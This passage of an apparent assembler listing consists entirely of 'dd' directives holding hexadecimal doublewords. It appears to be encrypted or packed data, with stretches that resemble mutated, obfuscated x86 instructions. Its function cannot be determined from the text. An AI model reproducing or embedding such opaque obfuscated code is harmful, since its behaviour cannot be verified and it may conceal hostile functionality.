0C641FC13h, 0BC144F7h dd 13C919F0h, 0AE9DE939h, 62DD5810h, 1B44204h, 6D2CFBB1h dd 0BAFA11B4h, 0D6CEBFF7h, 6C06C8CDh, 2BD79AC9h, 128DDD92h dd 1B67EDB4h, 0B6AF6BDh, 0B4CDAFFAh, 0C0055B0Eh, 0B900000Ah dd 0C624700Ch, 0CC2A7604h, 0CF2D7903h, 0CF2D7923h, 46307C08h dd 971DE425h, 9F25ED4Bh, 0A12FF553h, 0A834F755h, 9F6EE95Ch dd 0F0027C9Ch, 0DBFEE2C1h, 0E6449014h, 0BC1A9523h, 69B96CFAh dd 4A8367B3h, 0AA79F474h, 0FC13752Ah, 0A1702373h, 0F00B6A9Eh dd 41F48043h, 0C0891DE3h, 5C39EC3Ch, 196261B9h, 31F4DC76h dd 4864B731h, 6404BAEAh, 99CAD4A2h, 0D7E2h, 18DBFE00h dd 0B47BD98Ch, 8F57B530h, 4C025205h, 6C44CA99h, 6629F60Ch dd 2C7C0ACCh, 31BF82E0h, 392F8F7Eh, 9C95EFBEh, 0FB59FC13h dd 844DAB39h, 20704A00h, 34FB59D4h, 0F7ADFDB0h, 37B2B608h dd 0BD8012D9h, 0DC2C7C2Fh, 2EDCAB26h, 0F2FA113Bh, 0F495A877h dd 7ACAF602h, 1F9AEAC4h, 2A76FAC1h, 2417ECAFh, 9514D568h dd 31E47037h, 6CD2BE1h, 12F41B7Ah, 994CB4CDh, 9CE43h, 5EFEAB00h dd 64F2B412h, 6BF1BA18h, 7715C11Fh, 7A06CD2Bh, 0EA23442Eh dd 0F3519D23h, 0F755A12Bh, 0F957A331h, 0EB5EAA36h, 7B92A170h dd 0ECCBF002h, 9014DB08h, 3E775215h, 99B87198h, 0FDD9DAD6h dd 0C77D9D37h, 0A85007Bh, 0CBCF83Bh, 461565F6h, 0F60CBCF7h dd 4621868h, 8367B341h, 0B77E18DBh, 0C826D929h, 5C2B7705h dd 0F60C67D5h, 32AD3BFEh, 0D1870DD4h, 0D8642785h, 854CAA25h dd 46FC4CFFh, 0E49725E8h, 682ABE86h, 87D727DAh, 28AE76D4h dd 0FC56F975h, 809A3DFFh, 9AE67235h, 0C32F38FAh, 0B4BD8093h dd 0E1F8FFF4h, 1752513Fh, 39FC8954h, 0CE0083h, 27850000h dd 0B177D55Fh, 0BE896D23h, 560C9A60h, 96115767h, 139615C7h dd 0BF3A8AFCh, 49C67544h, 4797F00Bh, 200FDE91h, 0B1F00B49h dd 55B366EAh, 0D24E018Fh, 1A65172Fh, 0ACCE5DFDh, 50F33C8Ch dd 15E7A9F6h, 852799CBh, 43000000h, 0C67C66Ah, 0CE90EEF6h dd 873D8D40h, 72342698h, 9E1994E4h, 3AF07E40h, 1397DD6Bh dd 8EDA2AFCh, 28DB6930h, 0E9B88539h, 0F00B484Ah, 0F873C313h dd 145D2B29h, 0A92474FAh, 6D5844Bh, 0F60C4237h, 0D88D828h dd 0C42FF3Eh, 5A1060F6h, 5CEAB00Eh, 0A49766E1h, 0B9F60C42h dd 1100B369h, 0C540BBADh, 62159F67h, 238D5C12h, 34FC1352h dd 50A669E4h, 7F9239Ah, 97ED39EFh, 513h, 69F7BE1Ch, 0CCB066B6h dd 79F4744Ah, 13739EAAh, 298346FCh, 8309D1DFh, 0E5BD80D0h dd 13EDA309h, 379510C3h, 49ECBB6Eh, 16F00B51h, 73C376C6h dd 5143EEBDh, 2A5F00Bh, 60995B28h, 0D0D999CAh, 0F5000004h dd 0FD5BFF80h, 0ACFCAF35h, 0A3B707F6h, 890454E0h, 137D9ABAh dd 0FEB303FCh, 0D68D232Fh, 1D4B7399h, 8F6427A2h, 745AE031h dd 75FBC220h, 0AE04F0BFh, 6AC853D1h, 0FCBF1DA3h, 90E0BA70h dd 98D0EEDDh, 5827A21Dh, 5FC951E5h, 0A5742A7Ah, 55D3EE86h dd 0CE2CA7F7h, 0B6317D0Bh, 21C96C3Bh, 389659C3h, 3795E56Fh dd 0D432E874h, 0F5248311h, 19050C77h, 7991066h, 33E00000h dd 1DDF3D89h, 1CE5438Fh, 42EE4C98h, 2BF2509Ch, 4E6F59A5h dd 6EBA460Dh, 72BE4810h, 7CC84E14h, 81CD5B1Eh, 71C4930Eh dd 0EEF00278h, 18DB2B0Fh, 0F74E118Ch, 0BA9F200Eh, 849D985Bh dd 8FDBCBBAh, 873726D9h, 159766E1h, 6AFC137Eh, 7B419F1Ah dd 854BA9F5h, 0BE7D4CFFh, 0AAF00BB1h, 0F00BA187h, 0A7F203BBh dd 844D45h, 0A403513Dh, 29F0809Fh, 4191E103h, 2BED4BC6h dd 0EB793F9Dh, 6332E838h, 0FA145435h, 905F1262h, 0F60C5BA1h dd 0FD8AA447h, 93C36B3Bh, 217Bh, 744A9700h, 591B79F4h dd 12C818CBh, 68D8C897h, 0FD4DFC13h, 0D25C2482h, 6619CF1Fh dd 3F10h, 744A2C00h, 0A0FE79F4h, 0C6954BD9h, 0FC137EEEh dd 81827C3Fh, 37EA783Ah, 0B09524E7h, 0A5F57F47h, 0B37CDA55h dd 0A69EEDB6h, 0AFFFB90Bh, 43F6ACFCh, 0F3A46AC8h, 0B901124h dd 0AEFE4EF0h, 11F5ABFBh, 2D8C18DBh, 0B4DBBDF6h, 90095F12h dd 0E9000006h, 0F654A03Ch, 0FC5AA634h, 0FF5DA933h, 0FF5DA953h dd 7660AC38h, 0C74D1455h, 0CF551D7Bh, 0D15F2583h, 0D8642785h dd 0CF9E198Ch, 0F002476Ch, 4A2E12F1h, 0AA79F474h, 0FC1397E6h dd 0B12CDF2Fh, 55088C53h, 2EF14F05h, 7DDB56A2h, 2C7C2FB5h dd 8D19A776h, 9E391B50h, 11AD9CE8h, 9261DC57h, 0D74072A3h dd 3BB66CBCh, 5F6B506Ch, 0BA6DBDDDh, 0C00C9A5Ch, 7BEDD1h dd 2303D03Dh, 1DD3C80Dh, 9F85D3A2h, 0C212DB58h, 7436940Fh dd 20E333E6h, 0BFC820BFh, 0E6B56B86h, 0D740C25Bh, 18C4229Dh dd 6700C376h, 7CCD306Eh, 8427DD2Dh, 0DDA402AAh, 9E54A457h dd 0FE53CFEh, 1527CB5h, 4A980000h, 1B79F474h, 932D5C55h dd 0BFE6FB3Ah, 6F3EB96Fh, 0FC1312A1h, 95F3A6F6h, 0CBFFD3D2h dd 0D9C81D4Eh, 1CDF3D89h, 0A20EDD90h, 151B5054h, 4A0DD872h dd 228043BEh, 961375C4h, 116FBB71h, 75C8974Eh, 0EAD74047h dd 0CCF4A9Ah, 0F8296056h, 0DAA0FE66h, 9349994Ch, 3E0765E0h dd 0FDB303B6h, 1BBA822Eh, 0DC76193Ch, 47C24E11h, 8A2920E9h dd 8FC8FD81h, 0BC08BE0Eh, 5A0D9B5Eh, 0A01B6D6Bh, 6A04C725h dd 15CB1BA1h, 0BD91746h, 0C389E7F0h, 843A8A3Dh, 1F0E5AAAh dd 7F4EC99Fh, 0FA142659h, 88037ECEh, 0A59152C5h, 0D8A7C161h dd 0F60C9865h, 0C9E7AAFAh, 9894CCF3h, 52CD8036h, 0EDA331F4h dd 6B32CC8Fh, 0A348EBBAh, 0C515F60Ch, 9965B275h, 0B5073126h dd 0C98CEA65h, 8238883Bh, 9A5DBB36h, 11E05B0Eh, 0F60CDE22h dd 0E59BEB3Bh, 8538C487h, 0CD16FB6h, 0CB6306F6h, 35D783E1h dd 1A6F3282h, 0FDE36DA6h, 0CA8DEBA1h, 8FDF6D30h, 98A77443h dd 0F0E76A60h, 29EC4A96h, 0F6DE89Bh, 0BA0ABD47h, 0E563504h dd 66090800h, 3F3E01CCh, 160819BDh, 3884D45Ah, 0D68917DAh dd 1691D7E7h, 0EB3947h, 0E9AF0D0Eh, 7BCBA55Bh, 0AA56B42Fh dd 32F84E04h, 14000000h, 79F4744Ah, 136826AAh, 53AC6FFCh dd 0CDD9444Dh, 28863989h, 0C98CD866h, 0D34ED1B3h, 0B6B3104h dd 28DE2EF0h, 6EE99F39h, 0B64649Fh, 2A79C9F0h, 37FBBE46h dd 0E0320606h, 0A164C278h, 0E6D8C713h, 60380782h, 14FC130Eh dd 2590F251h, 0F36E1778h, 0B6E1124h, 48FE4EF0h, 45A31E6Eh dd 0C641F77Dh, 0C814A268h, 9B29EF4Dh, 33E9773Dh, 87560FD5h dd 0F00B6EB4h, 560959A9h, 96115767h, 1493C5C7h, 37EA3AFAh dd 0C4CD968h, 234579F6h, 0E56A2DA8h, 7492166Bh, 2BDE642Ah dd 6D58BDBh, 0FC1363D2h, 7140F343h, 0F00B6CCEh, 0DEAD8528h dd 99CA3A1Ch, 345Ch, 744A7800h, 26AA79F4h, 0CEFC1368h dd 67B18453h, 33AEF00Bh, 0B67D164h, 0EE3E8EF0h, 5B0E5E38h dd 2405h, 400F8A00h, 0F00B67FDh, 0B83E0462h, 0AF65B505h dd 0F4744ACBh, 7E12AA79h, 2B7BFC13h, 0D99FFD78h, 9248984Bh dd 9860BEAEh, 550B5B0Eh, 49A834F7h, 0B4DBBEE4h, 706FC578h dd 9000003h, 1674C05Ch, 1C7AC654h, 1F7DC953h, 1F7DC973h dd 9680CC58h, 0E76D3475h, 0EF753D9Bh, 0F17F45A3h, 0F88447A5h dd 0EFBE39ACh, 0F002444Ch, 0DB4E3211h, 2CD27E18h, 8CB29DCh dd 7D41307Ch, 0C77645C0h, 98F60C67h, 67BA7948h, 53A3F60Ch dd 51A12FF5h, 0A98C5BD6h, 32F60C67h, 0BE0EE886h, 0B4128D08h dd 0E2B167EDh, 0FC136AAEh, 9914C717h, 0F1C0793Bh, 0F00B6542h dd 1D7BCB1Bh, 4918CE5Ah, 0F00B65E6h, 0B6C55D00h, 99CA2CF4h dd 287A793Ch, 5E93FCDh, 44CC4Fh, 4AE80000h, 3BFAC974h dd 24F60C67h, 0C1741AC6h, 0FCC32171h, 2575C578h, 75F9DBAAh dd 0C826FC13h, 0B87B4AFFh, 0A5F00B6Ah, 6F420555h, 0A96AC057h dd 5E2DE030h, 0F00B80D3h, 0CBD87215h, 99CB1609h, 0D749h dd 60BE6500h, 0B5B0E98h, 0A834F755h, 44D097F5h, 1DBF6BC9h dd 0F3BC1A6Ah, 0A200B369h, 5BD651DFh, 0C67A98Ch, 0F74615F6h dd 68F60C67h, 90EE3E18h, 0D4873DC7h, 0AA25B376h, 46F9834Ch dd 25F440F6h, 0F60C6C39h, 71BD4B0Eh, 8A515013h, 0F543CD5Eh dd 0FFEB101h, 6F3EB9AFh, 0FC1380A9h, 0CA63BFEh, 7C9C1F9h dd 427C6BB7h, 0A6DCAB26h, 0BFA11E4h, 1BE240BBh, 419F1A95h dd 1023F27Eh, 4DF6023Bh, 9DFB47FDh, 4CEB4AD6h, 44B4CD62h dd 2053B91h, 0C7740000h, 0B97BD925h, 0B881DF2Bh, 0DE8AE834h dd 0CF96F440h, 0EA0BF541h, 1A66EAB1h, 1E6AF4BCh, 206CFAC0h dd 2571FFC2h, 0D56837B2h, 8AF00243h, 43BEC7ABh, 0C67C174h dd 984E9EF6h, 16DF733Ah, 94F23E8Eh, 13F743D1h, 79F4744Ah dd 13752AAAh, 702373FCh, 0B6A9EA1h, 9DB558F0h, 0CA3C4C0Eh dd 6E369499h, 2FE535E8h, 0D9ACh, 18DBC800h, 9E4E118Ch dd 0B71CE911h, 0FE792CE2h, 5C3D093Bh, 70262064h, 31524B12h dd 56EF6200h, 0F5702373h, 9144D097h, 44F7C641h, 19F60CF2h dd 0DE4413C9h, 92F60CF9h, 0ED67234h, 35853888h, 5F5E217Fh dd 46526B43h, 31ACFC88h, 0C257D16Eh, 81372473h, 8814D735h dd 31E8AF0Dh, 0CF5D362h, 0EC3C8CF6h, 2A948336h, 8548C33Eh dd 0A28007B5h, 12A5681Bh, 36B96579h, 0EEAA792Fh, 37FC1382h dd 12AC9BE7h, 750CDB56h, 0C2FA1125h, 0D299F772h, 0DDA4024Eh dd 3149F857h, 8A3DB4CDh, 0FA34h, 2AD27F00h, 30BE80DEh dd 37BD86E4h, 3BE18DEBh, 46CA91EFh, 0AEEF10FAh, 0AF0D59E7h dd 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh, 42D66534h, 0A887F002h dd 9014DBC4h, 9523E644h, 18DB6549h, 0B87BD98Ch, 7ACA581Eh dd 0E97F3F2Eh, 1124F36Eh, 4EF60C67h, 0FECD48FEh, 0FC1A82C5h dd 0DE662F8Dh, 4B25DB2Bh, 27EA48FBh, 0F7C01E99h, 0B46ABA6Dh dd 0C88FED68h, 0BE39893Ch, 27D4CEFh, 0BC111F0h, 0E35EEAADh dd 7D9A9968h, 73C3F002h, 133B0ABDh, 0F4384EFAh, 95F3A648h dd 329043E9h, 6306E369h, 0AF35FECBh, 0E45CACFCh, 19DCE941h dd 1EE13F8Bh, 0D581DF92h, 0B33064C4h, 6DBD6F4Bh, 0AB8326BAh dd 0D3A25B1Eh, 0B8363660h, 115DADFDh, 0E6703896h, 0E0FD230h dd 5D036D50h, 0E8E9300Fh, 28685E21h, 70EB9EEEh, 15C86612h dd 1363F1B7h, 0D075Dh, 0BE230000h, 5A109E60h, 0CC95F36Eh dd 0DBAE9248h, 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h, 55B366F0h dd 0F14F028Eh, 95F3A62Ah, 329043E9h, 0D230E369h, 7ECF8210h dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 51243C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 1B682434h, 8900004Ah, 0BA52242Ch dd 6D610A30h, 0E281DAF7h, 446F5D62h, 56DCCA81h, 0C28113B2h dd 4BB8A9D5h, 9718A8BEh, 5AD601A6h, 4EC81h, 24890000h dd 24048124h, 4, 8BB535Dh, 81000000h, 4576C7EBh, 81EB0145h dd 4576C7C3h, 5B338945h, 50242C8Bh, 405E089h, 5000000h dd 4, 5C240487h, 5024348Bh, 405E089h, 83000000h, 48704C0h dd 1EE95C24h, 0EFFF955h, 0A1B9702Ah, 0C9222CF7h, 1C33D549h dd 0E26C3B8h, 0FFC50306h, 0B99F7E0h, 6FFC4200h, 36D96659h dd 5756FD12h, 8604EB4Ch, 0E920FBC6h, 4C0h, 0DB27C572h dd 0E12DBB7Dh, 0E632BA83h, 0E632DC88h, 0E733C188h, 0D49BDCFDh dd 0DEA60450h, 0E8AE0C58h, 0EDB00E5Ah, 25A0135Fh, 240E756h dd 0B59978F0h, 0D98C18DBh, 0E430B47Bh, 1CC2C386h, 0B8BC6FD0h dd 0F873EE3Eh, 0C800A29h, 4D0353F6h, 0EB793C9Ah, 8A18DA38h dd 62BC5FD7h, 0BC089457h, 0BE0A985Eh, 8E08043h, 0CF7919A7h dd 61F5BB19h, 146417B5h, 29EB49C4h, 0FFB57828h, 8FDFB119h dd 0C826D9h, 8C2FC376h, 0D36127B2h, 0DA662987h, 874EAC27h dd 0CC7443F9h, 9CF60C88h, 905221F9h, 0D093C41Dh, 6Ah, 8C18DBECh dd 96164E11h, 0A484DE41h, 0CB6C3BEEh, 93F60C5Ch, 6BF1BA18h dd 6B3812B5h, 93C369A9h, 1E9h, 19DB0500h, 782BD17Dh, 670F2EFDh dd 50F60Ch, 4FAD60B0h, 0EE4CFF8Dh, 71E99C42h, 894C74CEh dd 2FC0658Dh, 0EF28EB03h, 236A8B6h, 0DEA0FEB4h, 0E890450h dd 0C5BFC3Fh, 8D1BDDF6h, 60B08ADAh, 0FB894CAAh, 14DBCBAFh dd 0BD7FDD90h, 0AA56B42Fh, 0D99B4E04h, 0AD11C36h, 19DC3A86h dd 7D30B47Dh, 800CCF2Dh, 561F7D30h, 965FF7C0h, 0BB0B5B0Eh dd 0C5F5B808h, 0F479D09Ah, 0C50EC111h, 0C97B0822h, 993C3AEh dd 90h, 0B56E308Eh, 0CEB57E6h, 68B808F6h, 0CBAF65B5h, 966514DBh dd 0F60C67A7h, 0E7A568B8h, 199FAA63h, 2601363h, 711F4039h dd 54264368h, 7A01A5CEh, 90E03001h, 8CEA65DDh, 0E2853BC9h dd 2AB67D48h, 2BB980DEh, 0D06E1A78h, 1931D41Dh, 0C3EBD88Ah dd 601893h, 0DA9D0000h, 91785467h, 9F25EB3Fh, 0DBB5994Fh dd 33B98214h, 0CF820ED5h, 1E7C2F7Fh, 0B917CA58h, 5AB86BF1h dd 0E25A0D93h, 0BE8E73Fh, 9A69CD90h, 8949499Ch, 0CB1630D3h dd 50348004h, 0D9760BEh, 2D10DF5Ah, 32F60C67h, 7EDC92E2h dd 0AC7B2EBCh, 0F60C6784h, 8A1931D4h, 93C32EC8h, 108h dd 12DB2400h, 0C5940F8Ah, 0F60C6776h, 3EC289E7h, 278538EEh dd 9125D864h, 0C08954EEh, 0BD01F03Ch, 5F6130ABh, 8FC1390h dd 2C8A05B8h, 0D727DA64h, 742AB679h, 0BB75316h, 0E5EAE61h dd 13A164C2h, 4FA09160h, 13B6F00Bh, 5DEBAE3Bh, 56F0B311h dd 0FF4F0290h, 0DB9EFCAFh, 35D89A4Dh, 7F0DD01Dh, 56D19333h dd 261199CAh, 2D000001h, 79F4744Ah, 0F9C2541Bh, 2070C073h dd 0E020EF6Ah, 55FC1386h, 31F45205h, 36F957A3h, 0D699F7AAh dd 5AD5974Ah, 792D10DFh, 0EF49F00Bh, 0DC502231h, 0B66CBC96h dd 0EBAE3B13h, 4733B1EAh, 0F343F67Eh, 8770230h, 0ACC6CB8h dd 4A99CA59h, 27h, 0F98D4A66h, 683CAF7Eh, 3181F60Ch, 678CAF7Eh dd 8C2FF60Ch, 454196B2h, 6888FBCAh, 0A5F5F60Ch, 0AF0359h dd 4A1F0000h, 0AA79F474h, 0FC13883Ah, 22803383h, 9356D15Fh dd 0E9E588B2h, 96A5741Ah, 0C7F00B32h, 25712777h, 7E4D04C7h dd 0F00B32BFh, 850050A0h, 23B4D0C2h, 26ECAC08h, 4D9DEDA0h dd 2915E497h, 7FF00BBDh, 7BBA8904h, 0E4F00BB2h, 0E5733694h dd 27B28C2Fh, 118CD864h, 0B274C796h, 99E9F00Bh, 9ECAF4E3h dd 7503C523h, 179D64C2h, 0EC41464h, 5A0FC493h, 1464FA1Dh dd 0D90BD699h, 0F893524Ch, 6E318F42h, 8D12FE2h, 0AC73D184h dd 56F97528h, 0C86BFFFCh, 7CECD26Eh, 0A37D3201h, 0BA35FC13h dd 0B6C48EBh, 0FC515F0h, 8410D735h, 0E53181D1h, 0F4744A01h dd 0C2FFE79h, 51F60C67h, 1D04B01h, 0FC1A8F4Ch, 7CDA55A5h dd 0C77A30B6h, 0CE1AA669h, 6C1FAD70h, 0C75949Dh, 2DB3791Bh dd 0CA541C7Ah, 22FC9F17h, 54B22DA5h, 0FE4E018Bh, 408DA548h dd 45A3EF7Dh, 0C843F682h, 691CA26Ah, 59056319h, 0C96C00B3h dd 0D844771h, 29544AC4h, 9BC4A0Ch, 55B369B9h, 85879392h dd 35FB71C6h, 4A0C6AE5h, 0E2AB09BCh, 8540A5Ah, 0A659E7AAh dd 350h, 694D6C00h, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h, 0CF8210D2h dd 5954517Eh, 4C181h, 0E9830000h, 240C8704h, 50F8685Ch dd 1C890000h, 60716824h, 3C890000h, 27976824h, 1C8B060Eh dd 4C48124h, 68000000h, 5A75h, 83242489h, 5F042404h, 242C8153h dd 5D773E60h, 8108478Fh, 3E600847h, 3C8B5D77h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 241C8B5Ch, 81E38953h dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF95035h, 0C654BC72h dd 0EFE14682h, 0E2BD4B8h, 0FFC50306h, 35883FE0h, 0F112845Bh dd 0F691D474h, 0C12D1802h, 1F07163h, 68997568h, 0B32E5678h dd 3704EB54h, 0E903E37Dh, 55Bh, 0CB17B562h, 0D11DAB6Dh dd 0D622AA73h, 0D622CC78h, 0D723B178h, 0C48BCCEDh, 0CE96F440h dd 0D89EFC48h, 0DDA0FE4Ah, 1590034Fh, 24BF746h, 0A58968F0h dd 0D98C18DBh, 0E430B47Bh, 1C1FEE69h, 41F60C67h, 1ADD3BF1h dd 0BA7DDB8Eh, 686415BBh, 0A7D73BA0h, 811BEE6Ch, 0C43F8FDFh dd 9B29EB49h, 0C5869CCh, 25AB72F6h, 0A024ED4Bh, 89E79A50h dd 0E8639C7h, 26E9D36Bh, 56E2E491h, 112E9946h, 88F2F1B4h dd 0D09F9E6Dh, 70C0F60Ch, 490C6A20h, 96F46FBBh, 329046D4h dd 3C9AE66Ch, 0FA75F076h, 0CD0082Bh, 4F0555F6h, 0C5763E9Ch dd 0CD047F6h, 78C818F6h, 80B382FDh, 3CF60CD0h, 0CD0CE6Dh dd 653F8FF6h, 18AC5F15h, 0DE783F9Dh, 8A409016h, 0BC824FE7h dd 0C98CEA36h, 3EA59C8h, 6F4B73Dh, 5B1E7CF4h, 87027DCDh dd 0CCD85B8h, 0D48ADAF6h, 8548A621h, 0CE7241F7h, 9AF60CCDh dd 8E505FF7h, 0D693C3D8h, 7023B178h, 0D11726F5h, 0F848F60Ch dd 8E6FF2A8h, 0F4000000h, 0DCB81431h, 88D88B19h, 0A208E4C5h dd 0FDC3EADFh, 6117FDD1h, 8C18DB7Dh, 67290AD9h, 0E7AEF60Ch dd 8548A659h, 4AD699F7h, 3F17BA97h, 6777C695h, 98E8F60Ch dd 74CE7148h, 312894Ch, 16FB5045h, 0B366F0B8h, 4B0DAD63h dd 8B93C3E7h, 6, 63E9B210h, 60BEC9ADh, 0B5B0E98h, 0A735F755h dd 38D496F4h, 0DF2FE28Ch, 0D27EDC8Fh, 5E01792Ch, 0A937F9C4h dd 51E4B32Eh, 0EF60C67h, 41BC08BEh, 6C5F1B7Eh, 0C57B85F7h dd 0CC18A467h, 9860BEE8h, 550B5B0Eh, 0F1A430F7h, 9043D193h dd 2EE16F32h, 0C97C0AD0h, 5390AA4Dh, 8954EE91h, 65C33EC2h dd 0B53F08A2h, 0AF62B202h, 0FF5DA95Fh, 9FFDB03Ch, 529B4ED6h dd 560897AFh, 9E93C32Dh, 3BEE7840h, 0D88B31DDh, 0FF823888h dd 61h, 9014DB1Bh, 3B67FDDh, 0C670134h, 0BE0E5EF6h, 56F0930Bh dd 0F440C48Bh, 8E41CF96h, 67EDB513h, 5A753B1h, 0CC660952h dd 0C32D0DBFh, 5E4D93h, 0DB690000h, 9A159014h, 0C6768CBh dd 0AB7AF5F6h, 0F60C6788h, 7F3585D5h, 2AF351CCh, 0C991EFA2h dd 0F0409043h, 9016DC3Ah, 0C55D00DDh, 57A331F8h, 8B19DB73h dd 672709D8h, 9033F60Ch, 0E8B00EB6h, 471738EBh, 0A9F9764Fh dd 50F0A6F6h, 93C3638Eh, 0BCEh, 32F55300h, 45A3F3A6h, 5E42F87Ch dd 0D78A12DBh, 772AB679h, 0DBE640E3h, 4F3E8A12h, 0AF7EF96Fh dd 0FC139001h, 0F5530656h, 0FC5AA632h, 6D30AB39h, 155B8928h dd 7225DB21h, 0B7892A3h, 0EB49C4F0h, 7A419F25h, 3DF343F6h dd 7235809Ah, 8D2F8A73h, 55A5E25Fh, 5CE8AB09h, 0FC884BA9h dd 4AE48749h, 0F709F62h, 2ACD703Fh, 4292F00Bh, 4145877Fh dd 0DE6A2D8Bh, 0B3590563h, 0AEFAB000h, 0CAA94C0Eh, 14B8C99h dd 4AA80000h, 0AA79F474h, 0FC138676h, 5EBC6FBFh, 63C10D9Bh dd 1E9914A0h, 0B79EC4Fh, 6B2171F0h, 0DE975AB8h, 0B792C0Fh dd 72C190F0h, 0EBF00B79h, 7746C19Bh, 0F00B79C4h, 0A9F94999h dd 6938B32Eh, 0F00B79CAh, 0C1744393h, 9EF00B79h, 9B29F04Eh dd 0CD7032E5h, 17A56875h, 46F250CBh, 0EFA5F5A8h, 0CA4C8D4Fh dd 56CD99h, 4AE90000h, 0AF7EF98Dh, 0F60C683Ch, 33B982E0h dd 7843BD80h, 0A503618Eh, 75C59F55h, 5A40F3C2h, 0D87BF60Ch dd 4CF8567Eh, 0E99FEFA2h, 2EA9DDFAh, 0C556C5Fh, 0E6B530F6h dd 0F60C5A57h, 2802B808h, 4E118CD8h, 1256EA2Dh, 15F5B822h dd 0CDAF002Eh, 8EDF35EBh, 0FB000000h, 0B9960BEh, 63520858h dd 2013E25Bh, 3DF60C67h, 53229DEDh, 0FC138851h, 20E35EAEh dd 0AC634214h, 0F5A85EE3h, 773AD497h, 0EF4D99E9h, 54B52D2Ch dd 45F87C45h, 1F9232F5h, 29906E05h, 3181087Bh, 38B32EE1h dd 0B51CA69h, 804393F0h, 1558A30Fh, 30FFB590h, 0F00BC402h dd 5C69C164h, 44BF0B99h, 0E2981EE6h, 229DCBF3h, 1D386E53h dd 0C073C3FAh, 5E119F62h, 310F27CAh, 9160DB8Dh, 0FC13142Ch dd 0F7BA3585h, 6B2948EEh, 8FDB9127h, 7443BEABh, 0F60C67C1h dd 0A9984E9Eh, 9D85315h, 0FC1A94A4h, 8F0ABD0Dh, 32E56B31h dd 0BCE2CE2h, 10D3317Dh, 9356D184h, 0C3BE858Fh, 3D0C87C2h dd 0F0029EFEh, 8A590F5Fh, 0FDF74E7Bh, 1EAB8326h, 681CD5Bh dd 0A258E6A8h, 40F38144h, 0E59836E2h, 8538C487h, 58656427h dd 57CA9B2Ah, 300DC010h, 0A236B58Dh, 0D79A27FFh, 0DC9FFD49h dd 3479D50h, 63000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h dd 10D230E3h, 837ECF82h, 48904ECh, 5E08924h, 4, 8704E883h dd 525C2404h, 0C281E289h, 4, 4EA81h, 14870000h, 34895C24h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BE242C89h dd 555789Ch, 0B3EBB850h, 0C60100B8h, 44226858h, 24890000h dd 24048324h, 89505D04h, 458F50F0h, 34FF5808h, 0C4835D24h dd 2434FF04h, 4C4815Eh, 0E9000000h, 0FFF94AA5h, 0B8765952h dd 60E3166h, 0E0FFC503h, 677D2B61h, 56A58438h, 6B9B6180h dd 5DCBE45Dh, 225BD6E6h, 60E25F74h, 45AD04EBh, 0A7E93E56h dd 0E9000005h, 0F654A03Ch, 0FC5AA634h, 0FF5DA933h, 0FF5DA953h dd 7660AC38h, 0C74D1455h, 0CF551D7Bh, 0D15F2583h, 0D8642785h dd 0CF9E198Ch, 0F002556Ch, 0BE2E12F1h, 67C17443h, 2EFDF60Ch dd 0F60C670Fh, 0D6260050h, 46FFC220h, 0E19422E8h, 6773C291h dd 9CECF60Ch, 5B1E994Ch, 0A9950082h, 4BA95F3Ah, 2F158D84h dd 31527940h, 743795E1h, 14D735E8h, 975AD588h, 0BF8509D2h dd 0F14F0531h, 76EEA12Fh, 0AB6E7BD3h, 7D44A21Dh, 96F444F7h dd 469248CEh, 199422E8h, 0B369F3BBh, 0AF430967h, 5C0F5FEDh dd 3C3D36FEh, 0A7AC876Ch, 0B03E005Eh, 7619AD60h, 524B11DCh dd 0AADE30ADh, 2B15BD3Fh, 0A087DA60h, 0A62CF250h, 0B67DDB56h dd 7127772Ah, 7804C725h, 534AF6C5h, 7B1EF60Ch, 6312D4A3h dd 7B5293C3h, 6E000000h, 0D98C18DBh, 0C67290Ah, 0B89235F6h dd 0C32F29EBh, 16993h, 0DB850000h, 0A2916019h, 0BBF60C67h dd 580BB15Dh, 0B568B808h, 54079557h, 0AC8F5ED9h, 0B1F60C67h dd 2417E661h, 39F60C67h, 29D533E9h, 0E2AA0883h, 2312E15Ch dd 3CF60C67h, 0B8336ECh, 70693290h, 0A3809497h, 64176744h dd 63BB5E14h, 0A94E7639h, 2F728949h, 0CB591B79h, 0FAA6047Fh dd 7D409E54h, 479735E1h, 14DB17FBh, 67A79665h, 68B8F60Ch dd 45076518h, 3588C98Ch, 0C42EFEBBh, 0CEE46F5h, 185417F6h dd 86CF3763h, 0E699E939h, 1CA98124h, 883CF55h, 8A50E4AAh dd 98F6ACFCh, 369447D5h, 0EB34E76Dh, 0EFA1EE48h, 2F93C3CEh dd 0A8h, 9014DB4Bh, 18E762DDh, 0F60C6725h, 0E08CEA3Ah dd 612A883Eh, 4F9D60DBh, 0B492208h, 0F65407BDh, 94F2A533h dd 0CE9043D1h, 5CD4132Bh, 0D93761B9h, 86D68917h, 25D86628h dd 0FAC11FD5h, 51AF2A76h, 0F14F028Eh, 9C52A22Eh, 6EE9773Eh dd 5FBD4710h, 0B5B0E96h, 9844A255h, 2239FCCBh, 0D626F60Ch dd 0C1900B86h, 0F60C2272h, 32E59BEBh, 0C4EC46E9h, 71E81E01h dd 0D332DBDFh, 0B87437C9h, 0F4944AA4h, 93C34842h, 4F82h dd 14DB9E00h, 0B97FDD90h, 5DEDB02Bh, 0DD9BA816h, 9E6994Fh dd 3A01CC66h, 91EF6AB6h, 0A78B41CFh, 0B47D19DBh, 86D65C22h dd 803383D3h, 0C678FB1h, 0F8A854F6h, 0A0F0A331h, 783F9D50h dd 1ABD39ECh, 49ECC300h, 2EE0A2F1h, 12093C3h, 3C000000h dd 0D78A12DBh, 30FFB679h, 0F60C670Dh, 0FFB20252h, 0E692F06Bh dd 57EF9248h, 0EF3BC18Ah, 0C74D1674h, 0CC9C2211h, 903E8251h dd 0D727FC13h, 7503C624h, 5108CB29h, 0B4FB382h, 8C4EACF0h dd 0AB5EAEFEh, 0B4F5BDCh, 0C05AFDF0h, 0AF8E5DD8h, 0B0F00B4Fh dd 0B5409D60h, 9464EE53h, 2FBD80DEh, 36C285E3h, 0C8622583h dd 70237301h, 29D533AEh, 0CA80D083h, 